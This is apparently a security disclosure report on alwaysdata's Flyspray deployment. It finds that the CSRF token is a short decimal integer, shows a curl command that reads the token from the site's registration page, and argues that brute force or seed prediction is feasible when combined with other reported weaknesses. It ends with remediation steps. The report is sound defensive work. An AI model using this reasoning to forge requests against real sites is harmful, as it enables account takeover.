Flyspray emits its CSRF token as a plain decimal integer of around 9–10 digits, giving roughly `log2(10^10) ≈ 33` bits of entropy. That is dramatically weaker than the 256-bit cryptographic token Django emits on `admin.alwaysdata.com` for the same protection class, and it is potentially predictable depending on how the token is seeded.

## Steps to Reproduce

```
curl -s https://security.alwaysdata.com/register \

| grep -oE 'name="csrftoken" value="[0-9]+"'

# → name="csrftoken" value="852018639"

# Compare with Django on admin.alwaysdata.com (any form):
# csrfmiddlewaretoken=qzNI2DZ0UfLVc7VRvdUw… # (64 random characters, cryptographic)
```

## Impact

* Brute-forcing a 10-digit integer over the network is well within reach of a determined attacker (10¹⁰ ≈ a few weeks at conservative request rates with no rate limiting — see ALW-007).
* If the integer is derived from a predictable seed (PHP `mt_rand` without proper seeding, timestamp, etc.) the search space collapses further.
* Combined with ALW-009 (no `SameSite` on the session cookie) the CSRF defense layer becomes paper-thin: a malicious page can both replay the cookie and guess the token in feasible time.

## Remediation

* Replace the token generator with a cryptographically random string. In PHP: `bin2hex(random_bytes(32))` (256 bits, 64 hex characters).
* Use a per-session token, rotated on login and on privilege change, not a long-lived global one.
* Validate the token in constant time (`hash_equals`) to avoid timing leaks.
* For Flyspray 1.0-rc11 specifically, patch `make_csrf_token()` in `includes/class.flyspray.php` to call `bin2hex(random_bytes(32))`.

— Reported by: Ahmed Said (asame8855@gmail.com) — manual testing only.